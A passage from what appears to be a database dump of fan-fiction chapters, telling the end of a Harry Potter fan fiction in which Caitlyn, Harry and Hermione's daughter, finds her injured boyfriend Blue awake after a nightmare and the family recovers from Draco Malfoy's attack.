understand.&#8221;</p>\n\n<p>Blue turned and looked at her, his formerly warm blue eyes were cold and sharp as daggers. &#8220;You will.&#8221;</p>\n\n<p>Caitlyn felt a deep pit of fear in her stomach as Blue turned on his heel and left the room. She wasn&#8217;t sure why she was following, but she did. As soon as she walked out her door, it was not her hallway, but a large parlour.</p>\n\n<p>People were gathered, many, many people. Some of them Caitlyn knew, others she didn&#8217;t. </p>\n\n<p>&#8220;Blue? What&#8217;s going on here?&#8221; she turned to ask, but he wasn&#8217;t there. Where had he gone? She looked across the room, and saw her parents standing with Ron and Lavender. Relieved to see a familiar face, she began to walk across the room to her family.</p>\n\n<p>Everything seemed to be in slow motion. People stopped talking and turned to stare at her. Caitlyn could not hear what they were saying, but no one was smiling, when she tried to meet their eyes they would look away. What was going on?</p>\n\n<p>&#8220;Mum, Dad?&#8221; she asked, coming up to their side. Hermione was holding Harry&#8217;s arm and weeping. As she spoke, they both turned to look at her, and Caitlyn recoiled. The amount of hatred in their eyes made her feel sick. She turned and stumbled into someone else; looking up she could see it was Ron.</p>\n\n<p>&#8220;What&#8217;s going on?&#8221; she begged, but he also stared at her with that horrible cold look in his eyes. Caitlyn gasped, looking to Lavender, but was met with the same stare. Ron pushed her away. She scanned the crowd for one face that wasn&#8217;t glaring at her, but to no avail. The ice in everyone&#8217;s eyes was freezing her very soul. She spun around to escape, and found herself face to face with something even more awful.</p>\n\n<p>Blue. Blue was in a coffin.</p>\n\n<p>Caitlyn slammed her fists over her eyes to block out the sight. How could he be in a coffin when he had just been standing by her? </p>\n\n<p>&#8220;Oh&#8230;please tell me it&#8217;s not true.&#8221; She uttered weakly, bringing her hands back down and staring at his body. &#8220;He&#8217;s not dead, he can&#8217;t be dead.&#8221;</p>\n\n<p>&#8220;I am dead.&#8221; A voice made her turn to her left. Blue was standing there, glaring at her with even more hatred than the others. </p>\n\n<p>&#8220;But...but&#8230;&#8221; Caitlyn looked frantically from him standing to him in his coffin. </p>\n\n<p>&#8220;I died because of you.&#8221; He spat, drawing closer. &#8220;They all know it. They all blame you.&#8221;</p>\n\n<p>&#8220;No!&#8221; she shook her head and backed away from him. &#8220;No! I didn&#8217;t want you to die!&#8221; Tears spilled from her eyes. &#8220;I love you! I want you here with me!&#8221;</p>\n\n<p>Blue shook his head, narrowing his eyes. &#8220;You didn&#8217;t believe in me, that I could live.&#8221;</p>\n\n<p>&#8220;NO!&#8221; she screamed. &#8220;No! It WASN&#8217;T ME!&#8221;</p>\n\n<p>&#8220;Yes it was.&#8221; Her father&#8217;s frosty voice now cut through her. &#8220;If you had fought harder for him, he would have stayed for you.&#8221;</p>\n\n<p>&#8220;But I tried.&#8221; Caitlyn protested weakly, and her father strode forward, gripping her arms tightly.</p>\n\n<p>&#8220;No you didn&#8217;t Caitlyn!&#8221; he growled, shaking her roughly. &#8220;Wake up!&#8221;</p>\n\n<p>&#8220;What?&#8221; she asked, confused.</p>\n\n<p>&#8220;Wake up!&#8221; he shook her again, but less roughly. &#8220;Wake up!&#8221;</p>\n\n<p>&#8220;Caitlyn, wake up!&#8221; Hermione gently shook her daughter, tears dripping off her face.</p>\n\n<p>&#8220;I&#8217;M SORRY!&#8221; Caitlyn screamed as her eyes flew open. She gasped to catch her breath as Hermione sat back. </p>\n\n<p>&#8220;Are you all right?&#8221; she pressed her hand to her daughter&#8217;s forehead and was surprised when she pulled away. &#8220;Sweetie, what&#8217;s wrong?&#8221;</p>\n\n<p>&#8220;You don&#8217;t hate me?&#8221; Caitlyn whispered, holding the covers against herself defensively. She looked down, she was in the same clothes she had been wearing earlier, and her mother was in her father&#8217;s nightshirt.</p>\n\n<p>&#8220;What?&#8221; Hermione was confused. </p>\n\n<p>&#8220;Nothing.&#8221; Caitlyn muttered, trying to shed the cling the dream still had on her. Her mind was returning; she was more aware. &#8220;Why are you crying?&#8221;</p>\n\n<p>&#8220;Caitlyn, it&#8217;s Blue. He&#8217;s&#8230;.&#8221;</p>\n\n<p><b>Oooooh</b><b>&#8230; I know, I know, evil cliffie! But I&#8217;ve almost got the last chapter written, I hope to have it up next week. I promise you won&#8217;t have to wait months. I&#8217;m not that cruel.</b></p>\n\n<p><b></b></p>\n\n<p><b>But please, review! I know that this story isn&#8217;t the best and a lot of people seem to have lost interest, but taking just a few minutes to let me know if you DID like really makes my day. And reading reviews helps me to write other things because I know what you readers are looking for.</b></p>\n\n<p><b></b></p>\n\n<p><b>See you next week!</b></p> '),
	(84, 10, ' <p><b>See, I promised you guys wouldn&#8217;t have to wait too long. And here it is! I hope you enjoy it, review me, cause this is the LAST chapter. It&#8217;s all over! *sniffles*</b></p>\n\n<p>Like The First Time</p>\n\n<p>&#8220;Caitlyn, it&#8217;s Blue. He&#8217;s&#8230;&#8221;</p>\n\n<p>&#8220;No!&#8221; Caitlyn shouted, covering her ears. &#8220;You&#8217;re not going to tell me that he&#8217;s died&#8230; I can&#8217;t listen to it!&#8221;</p>\n\n<p>&#8220;Caitlyn!&#8221; Hermione called out as her daughter vaulted from her bed and ran out the door. She didn&#8217;t stop but streaked downstairs, past her father who held a piece of parchment in his shaking hand. Apparating out, she reappeared in the hospital wing down the hall from Blue&#8217;s room.</p>\n\n<p>Caitlyn felt her entire body trembling as she took slow steps down the corridor. He was gone&#8230; she knew when she walked into that room it would just be his body, not him ever again. </p>\n\n<p>She was closer now, his door only a few feet away. &#8220;I can&#8217;t do this&#8230;&#8221; her knees gave out and she sank onto the chair just outside his door. Caitlyn rocked back and forth for a few moments, and tried to control the heaving sobs that wanted to rise up. &#8220;I can do this&#8230; I can do this&#8230;&#8221; she repeated over to herself as she got back up. Taking a deep breath, she went to the doorway of his room.</p>\n\n<p>And stared inside in shock.</p>\n\n<p>Blue was awake.</p>\n\n<p>Caitlyn let out a loud gasp, and he snapped his head around. &#8220;Caty!&#8221; he exclaimed, his eyes lighting up. </p>\n\n<p>&#8220;You&#8217;re awake?&#8221; she asked, hardly daring to believe what was right in front of her. He grinned then and sat up, opening his arms. With a strangled cry, she hurtled over and threw herself into his embrace. &#8220;You&#8217;re really awake?&#8221; Caitlyn started to cry again.</p>\n\n<p>&#8220;Shhhh&#8230;.&#8221; Blue wrapped his arms around her. &#8220;Yes, I&#8217;m really awake, love.&#8221; Her body shook with her sobs as he tried to calm her down. </p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; Caitlyn pulled back after a long while and wiped at her eyes. &#8220;It&#8217;s been so hard&#8230;&#8221;</p>\n\n<p>&#8220;I know,&#8221; Blue answered quietly. &#8220;Mum and Dad were here when I woke up a few hours ago&#8230; they told me what would have happened tomorrow.&#8221;</p>\n\n<p>She nodded as he wrapped his arms around her again. &#8220;I had a horrible dream&#8230; that you had died and everyone blamed me for it&#8230;&#8221; Caitlyn pressed her face into his shoulder. &#8220;You all hated me&#8230; I&#8217;ve never seen you look at me like that.&#8221;</p>\n\n<p>Blue hugged her tighter. &#8220;I&#8217;m so sorry I put you through that, love.&#8221; His voice was muffled. </p>\n\n<p>&#8220;It&#8217;s not your fault,&#8221; she replied. &#8220;It&#8217;s because of you that my brother and sister are okay.&#8221;</p>\n\n<p>&#8220;Yeah&#8230;&#8221; He smiled slightly. &#8220;How are they doing?&#8221;</p>\n\n<p>&#8220;Good now&#8230; but you know it&#8217;s been nearly two weeks since&#8230; right?&#8221; Caitlyn pushed away and looked at him.</p>\n\n<p>&#8220;I know.&#8221; Blue answered. &#8220;I&#8217;ve been filled in on everything&#8230;.except how you&#8217;ve been.&#8221; He stared at every detail of her face, guilt rising up inside him at her paleness. She looked absolutely exhausted.</p>\n\n<p>&#8220;I haven&#8217;t been good,&#8221; Caitlyn answered, looking down at her hands, which he had just taken into his own. &#8220;When I thought&#8230; you might never be with me again&#8230; I didn&#8217;t know what to do.&#8221; He reached up and stroked at her cheek and she leaned into his palm. </p>\n\n<p>&#8220;Well thank goodness you won&#8217;t have to worry about that any more.&#8221;&nbsp; Blue answered, moving down so he was laying more. &#8220;Come on, lie next to me.&#8221; She didn&#8217;t need to be invited twice, and immediately tucked herself next to him. </p>\n\n<p>&#8220;Are you going to sleep?&#8221; Caitlyn asked as his arms went around her. </p>\n\n<p>&#8220;I&#8217;ve been bloody sleeping for a fortnight,&#8221; Blue answered. &#8220;Hell no.&#8221;</p>\n\n<p>She laughed, for the first time since he had been in the hospital. &#8220;You&#8217;re right.&#8221;</p>\n\n<p>&#8220;I don&#8217;t feel too sore&#8230;. Well except from the curse&#8230; but Grace told me that the worst of my pain was probably while I was asleep.&#8221; He said.</p>\n\n<p>&#8220;Did you feel it at all?&#8221; Caitlyn asked. </p>\n\n<p>&#8220;I&#8217;m not really sure,&#8221; Blue replied, his eyebrows coming together as he thought about it. &#8220;All I remember is that Draco Malfoy shooting the Cruciatus Curse at me as I grabbed your brother and sister, and then waking up with my Mum and Dad.&#8221;</p>\n\n<p>She nodded, tracing her fingers over his arm. &#8220;He&#8217;s dead now,&#8221; Caitlyn said softly.</p>\n\n<p>&#8220;Who?&#8221; Blue asked.</p>\n\n<p>&#8220;Draco Malfoy. He shot a curse at our fathers and it hit the wall instead&#8230; and then the ceiling fell over both of you.&#8221; She paused for a moment. &#8220;At first your father thought you were buried under it as well, but when he went over to dig you out it had fallen just to the side.&#8221;</p>\n\n<p>He blew out a breath and laid back. &#8220;I thought my body would be stiffer after lying in one spot for two weeks.&#8221;</p>\n\n<p>&#8220;That would be thanks to me.&#8221; Caitlyn raised her head and gave him a small smile. &#8220;I gave you a workout each day. It was about the only thing I remembered to do.&#8221;</p>\n\n<p>&#8220;Here?&#8221; Blue&#8217;s eyes grew wide. &#8220;While I was out?&#8221;</p>\n\n<p>&#8220;Not like that!&#8221; she admonished and his eyes twinkled down at her. &#8220;Honestly!&#8221;</p>\n\n<p>Blue laughed and reached up to tug on her hair like he normally would as he teased her, but was surprised when his hand grabbed nothing. &#8220;Caty&#8230; what happened to your hair?&#8221;</p>\n\n<p>&#8220;Oh,&#8221; Caitlyn was embarrassed as she ducked her head and pulled the tie from her hair. It swung down to her shoulders and she ran her hand through it. &#8220;I&#8230;got&#8230; angry I guess you could say.&#8221;</p>\n\n<p>He touched the ends and then grinned at her. &#8220;It looks good.&#8221;</p>\n\n<p>&#8220;Flattery will get you nowhere,&#8221; Caitlyn laid her head on his shoulder. &#8220;But a snog will.&#8221;</p>\n\n<p>&#8220;I thought you&#8217;d never ask.&#8221; Blue tipped her chin up and covered her mouth with his. Caitlyn kissed him back hungrily, wishing they could do so much more at the moment.</p>\n\n<p>&#8220;You have NO idea how much I&#8217;ve been needing that,&#8221; she remarked when they parted for air. </p>\n\n<p>&#8220;Maybe you should have done it,&#8221; Blue said. &#8220;Maybe I&#8217;d have woken up sooner.&#8221;</p>\n\n<p>&#8220;Tried that,&#8221; she replied. &#8220;I think we tried everything under the sun and then some. I&#8217;m just glad you&#8217;re awake now&#8230; I didn&#8217;t even give my Mum the chance to tell me you were up&#8230; I sort of dashed out on her.&#8221;</p>\n\n<p>&#8220;I&#8217;m sure she knows you&#8217;re all right,&#8221; Blue said softly, stroking her hair. He leaned forward and kissed her again, softly and chastely this time. &#8220;I think I was driving my parents crazy asking about you, so my mum finally went and owled your parents.&#8221;</p>\n\n<p>&#8220;That must have been what my dad was holding in his hand when I ran by him.&#8221; Caitlyn said ruefully. She put her head back down on his shoulder and they laid together in silence for a long time, until she felt her eyelids begin to droop. &#8220;I&#8217;m so tired,&#8221; a large yawn distorted her words.</p>\n\n<p>&#8220;Sleep then,&#8221; Blue kissed her forehead. &#8220;I can tell you&#8217;re exhausted.&#8221;</p>\n\n<p>&#8220;I am,&#8221; Caitlyn replied. &#8220;You don&#8217;t mind if I have a kip then?&#8221;</p>\n\n<p>&#8220;Of course not,&#8221; He said. &#8220;Go on, I&#8217;ll wake you up later.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Caitlyn snuggled in closer to him. &#8220;I love you Blue.&#8221;</p>\n\n<p>&#8220;I love you too Caty,&#8221; he answered, wrapping his other arm around her. In a few moments her breathing became steady and he knew she was sleeping. He looked down at her face, his stomach clenching at the dark smudges under her eyes and at how thin she had become in just the span of a fortnight. The horrible guilty feeling arose inside him again as he thought about how it had been his fault that his parents and Caitlyn and the rest of his family had been put through extra grief because of him.</p>\n\n<p>But as his father and later on Caitlyn had said, it was because of him that they had been able to get the twins back&#8230; that he had distracted Draco Malfoy long enough for Harry and Ron to grab the children and get them out&#8230; that was why Blue had gone.</p>\n\n<p>He looked down again at his finally peacefully sleeping girlfriend and pulled her even tighter against him. Blue wanted to make sure she never had anything to worry about again.</p>\n\n<p>*** Some time later that day***</p>\n\n<p>Caitlyn felt a gentle prodding in her back and promptly reached over to slap away whatever it was. There was an amused sound and then the poking came back.</p>\n\n<p>&#8220;Come on, Caty, get up&#8230; they&#8217;re coming in here soon to check on me.&#8221; Blue found her slapping his hand away very funny. </p>\n\n<p>&#8220;I don&#8217;t want to&#8230;&#8221; she muttered and moved closer into the crook of his arm so that her head was tucked neatly under his chin. </p>\n\n<p>&#8220;But you have to&#8230;&#8221; he shook harder. Her eyes finally opened fully and she looked around wearily.</p>\n\n<p>&#8220;Bloody hell,&#8221; Caitlyn squinted against the bright sunlight filtering through the blinds. &#8220;I&#8217;m going to have such a headache later.&#8221; She felt a hand sneak around her and smiled. &#8220;Good morning,&#8221;</p>\n\n<p>&#8220;Morning,&#8221; Blue answered, leaning in for a quick kiss. &#8220;As nice as it was having you here all night, the mediwizards are going to be making their rounds anytime now&#8230;&#8221;</p>\n\n<p>&#8220;Oh all right,&#8221; she groaned, sitting up and straightening out her clothes. He watched as she tied her hair back again, and then pulled her down for another kiss. </p>\n\n<p>&#8220;Come back later?&#8221; he asked. </p>\n\n<p>&#8220;Of course I will.&#8221; Caitlyn replied, as he sat up. She leaned forward and kissed him again, slowly this time, not giving a shit if someone happened to walk in on them.</p>\n\n<p>&#8220;I love you.&#8221; Blue said as they parted breathlessly. Caitlyn smiled and leaned her forehead against his, their lips grazing slightly.</p>\n\n<p>&#8220;Say it again,&#8221; she murmured, her arms snaking their way around his neck while his slid around her waist.</p>\n\n<p>&#8220;I love you.&#8221; Blue repeated and she kissed him again, just as slowly and more passionate.</p>\n\n<p>&#8220;You two know that we don&#8217;t exactly condone this sort of thing in the hospital right?&#8221; a voice from the doorway made them both jump and break apart guiltily. &#8220;But you know me, and I encourage any sort of naughtiness.&#8221; Grace grinned at the two of them.</p>\n\n<p>&#8220;You scared me!&#8221; Caitlyn said. &#8220;And yes I know you encourage this.&#8221;</p>\n\n<p>&#8220;It&#8217;s nice to see a smile on your face again Caty,&#8221; Grace came into the room and gave her a tight hug. &#8220;And you,&#8221; she turned to Blue. &#8220;I can&#8217;t tell you how wonderful it is just to see your eyes open.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; Blue replied as she hugged him as well. </p>\n\n<p>&#8220;How are you feeling?&#8221; she asked. </p>\n\n<p>&#8220;Awake, slightly sore I guess.&#8221; He answered. Caitlyn moved off the bed and towards the door.</p>\n\n<p>&#8220;I&#8217;m going home to get some rest, but I&#8217;ll come by later on.&#8221; She said.</p>\n\n<p>&#8220;See you later, then.&#8221; Blue grinned at her and Grace waved. Caitlyn left the room, walking down the hall in an almost daze. Just hours ago she thought she was going to lose the love of her life forever, and now it seemed as if everything was going to be okay!</p>\n\n<p>&#8220;It WILL be okay,&#8221; she said to herself. &#8220;He&#8217;s going to be fine and we&#8217;re going to be happy together.&#8221; Caitlyn apparated from the hospital and into the kitchen of her parent&#8217;s home, where they and the twins were having breakfast together. &#8220;Hi everyone,&#8221; she said softly.</p>\n\n<p>&#8220;Good morning sweetie.&#8221; Harry replied. &#8220;How is he?&#8221;</p>\n\n<p>&#8220;Awake, that&#8217;s the best part.&#8221; Caitlyn couldn&#8217;t suppress her smile. &#8220;I stayed there with him most of the night, and Grace was coming in to check on him when I left.&#8221;</p>\n\n<p>Harry grinned back at his daughter, his heart feeling lighter than it had in ages. He hoped that their luck was finally changing and that the dark cloud hanging over his family was going away. One look across the table at his wife, who was helping Carl clean some jam off his face, made him know that everything would be all right.</p>\n\n<p>Caitlyn finished breakfast with her family and then went upstairs for a long bath and a <i>very</i> long nap. She awoke only when she heard Ron and Lavender&#8217;s voices in the downstairs hallway. Springing out of bed, Caitlyn threw on some clean clothes and dashed out of her room.</p>\n\n<p>&#8220;How is he?&#8221; she asked breathlessly after skidding to a stop on the wood floors.</p>\n\n<p>&#8220;He&#8217;s doing fine,&#8221; Ron was grinning from ear to ear. &#8220;He&#8217;s already out of the hospital.&#8221;</p>\n\n<p>&#8220;Really?&#8221; Caitlyn&#8217;s eyes widened. &#8220;I&#8217;m going over to see him.&#8221; She rushed out the front door.</p>\n\n<p>&#8220;Ron, Lav, I&#8217;m so pleased,&#8221; Hermione was also beaming as she gave her two friends a hug. &#8220;This is wonderful!&#8221;</p>\n\n<p>&#8220;It really is,&#8221; Ron replied as they all moved into the kitchen and sat down as Hermione quickly made everyone some tea. &#8220;He&#8217;s not in pain, and he seemed to be up and around rather fast, so Grace let him leave, but he had to promise to take it easy.&#8221;</p>\n\n<p>&#8220;So he&#8217;s perfectly fine?&#8221; Harry asked. &#8220;Was there a reason why he didn&#8217;t wake up before?&#8221;</p>\n\n<p>&#8220;Grace said it all had to do with his body recovering&#8230; we&#8217;re all lucky that it didn&#8217;t turn out like it did for the Longbottoms.&#8221; Ron said darkly. He looked at Lavender, who nodded. &#8220;There is one drawback that he wasn&#8217;t pleased about though.&#8221;</p>\n\n<p>&#8220;I can&#8217;t play Quidditch.&#8221; Blue said sullenly, crossing his arms. &#8220;They reckon it&#8217;s too dangerous for me now.&#8221;</p>\n\n<p>Caitlyn tried to hide her shock. &#8220;Can&#8217;t play Quidditch?&#8221; she repeated. &#8220;Ever again?&#8221;</p>\n\n<p>&#8220;Well, in six months they said they would check me over again and decide if I had to wait any longer.&#8221; Blue&#8217;s tone was still sour. &#8220;But even if I can do Quidditch again, I won&#8217;t be able to play in the Cup most likely because I won&#8217;t have trained.&#8221;</p>\n\n<p>Caitlyn moved over next to him on the sofa, placing a sympathetic hand on his shoulder. &#8220;But Blue&#8230; if you think about it, it&#8217;s really a small price to pay.&#8221;</p>\n\n<p>&#8220;I guess so.&#8221; He replied, still angry.</p>\n\n<p>&#8220;But the doctors know what&#8217;s best for your body right now.&#8221; Caitlyn started moving her hand around in soothing circles on his back. &#8220;If you played you could hurt yourself more&#8230; and then&#8230;&#8221; her throat choked up at the mere thought and she didn&#8217;t finish her sentence.</p>\n\n<p>Blue sighed and turned to look at her, then immediately felt bad. She was still having such a hard time dealing with everything she had gone through and all he could care about was Quidditch. &#8220;Hey&#8230;&#8221; he put a hand under her chin. &#8220;You&#8217;re right&#8230; I&#8217;m just being a prat now&#8230;&#8221;</p>\n\n<p>&#8220;You always were,&#8221; she smiled tearfully up at him. &#8220;But I don&#8217;t care I&#8217;m just glad you&#8217;re all right now.&#8221; Caitlyn wiped at her eyes with her sleeve. She sank into his embrace as he pulled her close. His lips moved over her hair and his hand reached up to pull off the tie that held her ponytail. Her locks bounced down to her shoulders as Blue tilted her head back and pressed his mouth firmly against hers. She opened her lips as his tongue swept over hers, burying her fingers in his red hair.</p>\n\n<p>Blue pulled his mouth away from hers and gazed down at her, smiling slightly when her eyes opened. They looked at one another for a few minutes, eyes roaming as hands caressed everywhere. </p>\n\n<p>&#8220;God I missed you,&#8221; Caitlyn replied tearfully. &#8220;I thought today was going to be the worst day of my life.&#8221; She gently cupped his cheek in her hand and kissed him. &#8220;I don&#8217;t know what made you wake up&#8230; but I&#8217;m so glad you did.&#8221;</p>\n\n<p>&#8220;Me too,&#8221; Blue answered softly as her lips brushed his again. &#8220;I&#8217;m sorry for putting you through this.&#8221;</p>\n\n<p>&#8220;No, it&#8217;s all right now.&#8221; Caitlyn answered as his forehead rested on hers. &#8220;You&#8217;re here and you&#8217;re okay and that&#8217;s all that matters.&#8221; She kissed him once more as hard as she could, curving her fingers around his nape.</p>\n\n<p>&#8220;I want to make love to you so bad right now.&#8221; Blue breathed as they parted. &#8220;But I don&#8217;t know when my parents are coming back&#8230;&#8221;</p>\n\n<p>&#8220;We could go home if you want.&#8221; Caitlyn suggested, running her index finger over his lower lip. </p>\n\n<p>&#8220;I think my mum and dad want me to stay with them for a few days.&#8221; He replied.</p>\n\n<p>&#8220;Hmm&#8230;&#8221; she said. &#8220;We could go home for a few hours if you want, then.&#8221; This was said with an impish smile.</p>\n\n<p>&#8220;That sounds like a plan to me,&#8221; Blue said, laughing. He scribbled a note to his parents and they left the house, holding on tightly to one another. Apparating into their flat, each took a moment and looked around.</p>\n\n<p>&#8220;I haven&#8217;t been back here since you&#8230;&#8221; Caitlyn started to say. &#8220;I just wasn&#8217;t able to stay here.&#8221;</p>\n\n<p>&#8220;Feels like it&#8217;s been closed up for awhile.&#8221; Blue replied. </p>\n\n<p>&#8220;Yeah,&#8221; Caitlyn replied, and then turned to him, wrapping her arms about his middle. &#8220;Come on,&#8221; she kissed him lightly and began to lead him down the hall. </p>\n\n<p>&#8220;I can&#8217;t wait until we get in there,&#8221; Blue pulled her back to him and plundered her mouth hungrily. She wrapped her arms around his neck and kissed him back just as desperately. &#8220;The living room is so much closer.&#8221; He said as they pulled apart.</p>\n\n<p>&#8220;You&#8217;re right,&#8221; Caitlyn kissed him again as he wrapped his arms around her waist. Barely able to control her raging emotions, she jumped up and put her legs around his waist like she normally would do.</p>\n\n<p>&#8220;OW!&#8221; he suddenly shouted and she fell from his arms. Blue bent over, clutching his abdomen in pain.</p>\n\n<p>&#8220;Oh my God!&#8221; Caitlyn covered her mouth with her hands. &#8220;Blue I am so sorry!&#8221; </p>\n\n<p>&#8220;Sit&#8230; down&#8230;.&#8221; He managed to say, his face contorted. Caitlyn gulped back some fresh sobs and helped him into the living room where he fell onto the sofa, still hugging himself.</p>\n\n<p>&#8220;I&#8217;ll get Grace.&#8221; Caitlyn rushed over to the fireplace and threw in some powder. Calling out the name of her mother&#8217;s best friend, she was never so relieved to see the woman step out a few moments later. </p>\n\n<p>&#8220;What happened?&#8221; Grace asked, instantly businesslike. </p>\n\n<p>&#8220;He&#8230; we&#8230;&#8221; Caitlyn couldn&#8217;t form the words or stop the tears that were now flowing. &#8220;He&#8217;s hurting.&#8221;</p>\n\n<p>Grace rushed over to the sofa, where Blue was still grimacing. &#8220;Where does it hurt?&#8221;</p>\n\n<p>&#8220;Here,&#8221; Blue pressed his hands on his abdomen. He let out another anguished cry when Grace put her hands on the spot. Caitlyn slapped her hands over her mouth to keep from crying out as well. </p>\n\n<p>&#8220;Calm down,&#8221; Grace said gently. &#8220;Drink this&#8230; it&#8217;ll get rid of the pain.&#8221; She extracted a bottle from the small bag she had brought in with her and he dutifully gulped it down.</p>\n\n<p>&#8220;Ahh&#8230;&#8221; His head fell back in obvious relief as his pain subsided. Caitlyn slowly approached the sofa afraid to touch him lest she bring on more trouble. </p>\n\n<p>&#8220;Will he&#8230; be all right?&#8221; she asked hesitantly. </p>\n\n<p>Grace nodded. &#8220;How did he get hurt?&#8221;</p>\n\n<p>&#8220;Well&#8230; we um&#8230;.&#8221; Caitlyn sat down on the arm of the sofa. &#8220;We just wanted to&#8230;&#8221;</p>\n\n<p>&#8220;Listen to me, both of you,&#8221; Grace was uncharacteristically serious. &#8220;Blue, what we talked about earlier, I wasn&#8217;t kidding. Your body has gone through terrible trauma. You can&#8217;t do anything&#8230; ANYTHING physical for the next few months.&#8221;</p>\n\n<p>&#8220;All right,&#8221; he grumbled. Grace looked at Caitlyn.</p>\n\n<p>&#8220;This means no sex, I&#8217;m afraid.&#8221; Grace looked like she was caught between trying to remain serious and trying not to smile. &#8220;No Quidditch, no lifting, no running&#8230;&#8221;</p>\n\n<p>&#8220;I get it!&#8221; Blue snapped irritably. Grace folded her arms and stared down at him and he visibly shrank down into the sofa. &#8220;Sorry,&#8221; he muttered.</p>\n\n<p>&#8220;We won&#8217;t do anything,&#8221; Caitlyn said, her eyes still shiny with tears. &#8220;I didn&#8217;t&#8230; we didn&#8217;t know that that would hurt him.&#8221;</p>\n\n<p>Grace touched her shoulder lightly. &#8220;I know you didn&#8217;t.&#8221; she looked down at Blue. &#8220;You&#8217;ll be all right, just follow what I told you earlier.&#8221;</p>\n\n<p>Blue nodded, his face still sullen. Grace looked at Caitlyn who nodded as well. </p>\n\n<p>&#8220;I&#8217;ll watch him,&#8221; she said softly, wiping at her eyes.</p>\n\n<p>&#8220;All right,&#8221; Grace picked up her bag. &#8220;I&#8217;ll come by tomorrow again, all right Blue?&#8221;</p>\n\n<p>&#8220;I&#8217;ll be at my parents&#8217; house.&#8221; He answered. &#8220;I&#8217;m staying there for a few days.&#8221; Grace tossed some floo powder in the fireplace and was gone.</p>\n\n<p>Caitlyn and Blue sat in silence for a few minutes before she finally spoke. &#8220;I am so sorry,&#8221; her voice was shaking. &#8220;I didn&#8217;t know you were hurt that bad, but I should have guessed.&#8221;</p>\n\n<p>&#8220;It&#8217;s all right, Caty,&#8221; Blue sat up slowly and patted the spot next to him. She moved down and he put his arm around her, running his fingers through her hair. &#8220;I&#8217;m all right now.&#8221;</p>\n\n<p>&#8220;But I could have really hurt you.&#8221; Caitlyn seemed afraid to touch him. </p>\n\n<p>&#8220;You didn&#8217;t.&#8221; Blue replied.</p>\n\n<p>Caitlyn didn&#8217;t seem convinced. She wrapped her arms around herself and leaned forward so she wasn&#8217;t touching him at all. </p>\n\n<p>&#8220;Caty&#8230;&#8221; Blue leaned forward as well. &#8220;Look at me,&#8221; he turned her face towards his. &#8220;I&#8217;m all right now.&#8221; He repeated slowly.</p>\n\n<p>&#8220;Really?&#8221; she asked in a small voice. He gave her a half smile, and it was all she needed. Blue wrapped his arms around her and she leaned against him. He nuzzled her neck and sighed. </p>\n\n<p>&#8220;I guess we&#8217;ll just have to be careful for awhile.&#8221; He said.</p>\n\n<p>&#8220;Maybe we can pretend we&#8217;ve just begun dating again,&#8221; Caitlyn finally smiled. &#8220;Perhaps that will make things a bit easier.&#8221;</p>\n\n<p>&#8220;I guess,&#8221; Blue replied. &#8220;We still get to snog right?&#8221;</p>\n\n<p>Caitlyn laughed and it made him grin. &#8220;We&#8217;d better snog. Otherwise I&#8217;ll go crazy.&#8221; He pulled her closer and kissed her lightly on the lips. &#8220;Besides, I&#8217;m sick of the bloody hospital. Our families have spent entirely too much time there.&#8221;</p>\n\n<p>Blue started to laugh. &#8220;Too right you are,&#8221; he replied. &#8220;Shall we?&#8221; he asked, standing up and offering her his hand.</p>\n\n<p>&#8220;All right,&#8221; Caitlyn let him pull her up. She hugged him lightly, kissing his cheek. &#8220;I love you,&#8221; she said softly. &#8220;I just&#8230; I want you to know how much you mean to me. You&#8217;re the most important person in my life Blue.&#8221;</p>\n\n<p>&#8220;I love you too,&#8221; he answered, his nose buried in her hair. He looked down at her, then kissed her gently. &#8220;We&#8217;d better get back before I throw you down on that sofa and we have to call Grace again,&#8221; Blue joked and got a weak smile out of her. They apparated back to the Weasley house and Blue tore up the note he&#8217;d left.</p>\n\n<p>&#8220;They won&#8217;t be home for awhile yet,&#8221; he said. Caitlyn nodded and yawned. All the sleep she had missed the previous two weeks was really catching up to her. &#8220;If you want to go home and rest, I don&#8217;t mind.&#8221; </p>\n\n<p>&#8220;I want to rest, but there&#8217;s no bloody way I&#8217;m leaving,&#8221; Caitlyn replied. Blue grinned and extended his hand. Leading her upstairs, they snuggled onto his single bed. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Later that night, Harry lay stretched on the sofa, his feet propped on the coffee table. His head was resting on the back, and his hand stroked his daughter&#8217;s long hair. Hermione was next to him, Carl&#8217;s head in her lap. </p>\n\n<p>&#8220;I think this is as close to perfect as you could get,&#8221; Harry spoke softly. Both twins were fast asleep, hopefully not dreaming of their ordeal.</p>\n\n<p>&#8220;I agree,&#8221; Hermione replied, her head falling onto his shoulder. &#8220;I&#8217;m just so happy, for Ron and Lav, for us&#8230; I&#8217;m not afraid anymore.&#8221;</p>\n\n<p>&#8220;You were afraid before?&#8221; Harry asked, his fingers twisting around Corinne&#8217;s curls. </p>\n\n<p>&#8220;Well&#8230; yes and no,&#8221; Hermione replied. &#8220;I just&#8230; I always felt like there was something out there. I didn&#8217;t ever know if it was my paranoia about Malfoy doing what he did to me, or just my imagination. And it was never confirmed&#8230; until a few weeks ago.&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Harry ran his free hand through his hair. &#8220;I&#8217;m glad he&#8217;s dead,&#8221; he confessed in a rush. &#8220;I mean, I&#8217;m not glad a <i>person</i> is dead&#8230; but as it was Malfoy&#8230; he wouldn&#8217;t have stopped until he destroyed me.</p>\n\n<p>&#8220;It just pisses me off he wanted to use my children to get back at me for what he believes was my fault. If someone has a problem with me, come to me, but don&#8217;t take it out on my family,&#8221; Harry finished ranting. </p>\n\n<p>Hermione reached for his hand. &#8220;You&#8217;re a good man, Harry Potter, and an amazing father. Slightly pigheaded and very stubborn sometimes,&#8221; she grinned at him and he shook his head, not able to stop from smiling.</p>\n\n<p>&#8220;Well, we can&#8217;t all be perfect,&#8221; he replied, leaning over for a quick kiss. </p>\n\n<p>&#8220;I don&#8217;t want to move,&#8221; Hermione replied in a sleepy tone.</p>\n\n<p>&#8220;We don&#8217;t have to,&#8221; Harry answered. He grabbed his wand and summoned several blankets to the sofa. Throwing several over them, Harry scooted further down as Hermione snuggled closer next to him, making sure Carl was under a cover as well.</p>\n\n<p>&#8220;Good night,&#8221; Hermione said, yawning. </p>\n\n<p>&#8220;Night,&#8221; Harry replied, kissing the side of her head. &#8220;Love 